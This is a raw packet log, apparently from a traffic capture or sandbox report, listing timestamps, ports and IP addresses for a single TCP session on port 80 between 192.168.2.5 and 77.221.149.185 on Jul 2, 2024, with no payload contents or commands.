Jul 2, 2024 22:52:33.446630955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446640968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446651936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446661949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446671963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446672916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.446681023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446691036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.446697950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.446719885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.446728945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.447238922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447248936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447258949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447263002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447273016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447282076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447292089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447300911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447313070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447314978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.447323084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447331905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447341919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447350979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447360039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447362900 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.447370052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447381020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.447382927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447397947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.447428942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.447520971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447530031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447540045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447549105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447561026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447568893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447573900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447577953 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.447580099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447588921 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447599888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.447633028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.447763920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447777987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447788954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447798967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447809935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447814941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.447818995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447829962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.447833061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.447854042 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.447880030 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.448276043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.448354959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.448364973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.448394060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.448463917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.448484898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.448498964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.448507071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.448534012 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.448673964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.448683023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.448693037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.448721886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.448822975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.448832989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.448842049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.448864937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.448864937 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.448875904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.448882103 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.448885918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.448910952 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.449481964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.449491978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.449501038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.449527025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.449529886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.449537992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.449553013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.449579954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.449584007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.449594021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.449631929 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.534173012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534209013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534219027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534229994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534240007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534250021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534271955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.534281015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534292936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534302950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534310102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.534312010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534322977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534333944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534347057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.534364939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.534375906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.534481049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534492970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534502983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534517050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534526110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.534539938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534554958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534564972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534575939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534570932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.534586906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.534586906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534599066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534615040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.534629107 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.534692049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534703016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534751892 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.534914017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534925938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534935951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534945011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534950018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.534974098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.534996033 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.535114050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535125971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535162926 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.535269976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535280943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535293102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535304070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535311937 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.535315990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535327911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535330057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.535337925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535346985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535355091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.535356998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535384893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.535404921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.535763025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535777092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535788059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535820961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.535918951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535929918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535940886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535950899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535960913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.535960913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.535972118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.535973072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536000013 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536072969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536082983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536092997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536101103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536113024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536117077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536123991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536133051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536139011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536142111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536164045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536175966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536186934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536197901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536209106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536210060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536218882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536221027 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536230087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536240101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536252022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536261082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536262989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536271095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536279917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536287069 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536289930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536302090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536307096 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536312103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536319017 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536322117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536331892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536340952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536345005 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536351919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536356926 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536362886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536384106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536402941 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536545038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536556005 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536565065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536573887 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536585093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536592960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536593914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536604881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536612988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536618948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536623001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536634922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536636114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536643982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536662102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536686897 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536880970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536890030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536900043 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.536941051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.536941051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.537029982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.537040949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.537050962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.537060976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.537070990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.537080050 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.537081003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.537091970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.537116051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.537146091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.537883997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.537895918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.537906885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.537978888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.538013935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538024902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538036108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538063049 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.538206100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538218021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538228035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538238049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538244963 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.538249016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538260937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538266897 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.538271904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538280964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538289070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.538305998 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.538378954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538388968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538402081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538420916 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.538424015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538434029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538444042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538445950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.538465977 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.538513899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.538642883 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.622466087 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.622498989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.622509003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.622520924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.622531891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.622540951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.622541904 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.622550964 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.622570038 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.622615099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.622982979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623023987 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.623033047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623043060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623102903 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.623164892 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623174906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623181105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623207092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623214960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.623215914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623226881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623235941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623243093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.623245955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623276949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.623292923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.623338938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623349905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623359919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623368025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623388052 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.623414040 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.623630047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623740911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623754978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623765945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623775959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623785019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623790979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.623800993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623811960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623815060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.623831034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623837948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.623847961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623855114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.623858929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623868942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623878956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623888016 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.623889923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623899937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.623904943 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.623927116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.624056101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624066114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624074936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624084949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624094963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624102116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.624104023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624114037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624128103 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.624130011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624145985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:33.624480009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624495029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624500036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624504089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:33.624514103 CEST	80	49712	77.221.149.185	192.168.2.5
